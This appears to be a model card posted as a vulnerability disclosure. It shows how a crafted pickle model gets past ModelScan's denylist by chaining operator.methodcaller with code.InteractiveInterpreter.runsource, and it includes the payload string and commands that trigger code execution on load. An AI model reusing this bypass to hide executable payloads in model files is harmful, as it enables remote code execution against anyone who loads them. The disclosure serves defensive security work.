ModelScan code.InteractiveInterpreter Bypass β€” RCE via code.InteractiveInterpreter.runsource()

Summary

ModelScan's pickle scanner uses an unsafe_globals denylist to detect malicious pickle operations. However, code.InteractiveInterpreter and operator.methodcaller are NOT in the denylist.

This MLflow model achieves arbitrary Python code execution through code.InteractiveInterpreter.runsource(), while ModelScan reports zero issues.

Attack Chain

The pickle bytecode uses only two STACK_GLOBAL opcodes:

  1. operator.methodcaller('runsource', '__import__("os").system("cmd")') β†’ Creates a callable
  2. code.InteractiveInterpreter() β†’ Creates an interactive interpreter instance

At load time: methodcaller(interpreter) β†’ interpreter.runsource('__import__("os").system("cmd")') β†’ Arbitrary Python code execution

Why It Works

  • code module is entirely absent from unsafe_globals
  • operator.methodcaller is not blocked (only operator.attrgetter is)
  • Unlike os.system which only runs shell commands, runsource() executes arbitrary Python code

Verification

# 1. ModelScan says CLEAN
modelscan -p model.pkl
# Output: No issues found! πŸŽ‰

# 2. MLflow load triggers RCE
python3 -c "
import mlflow.pyfunc
model = mlflow.pyfunc.load_model('.')
"

# 3. Direct pickle.load() triggers RCE
python3 -c "
import pickle
with open('model.pkl', 'rb') as f:
    pickle.load(f)
"

Impact

  • Severity: Critical (CVSS 9.8)
  • Affected: All pickle-based formats scanned by ModelScan
  • Remote, no auth needed, no user interaction
  • Executes arbitrary Python code (not limited to shell commands)
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support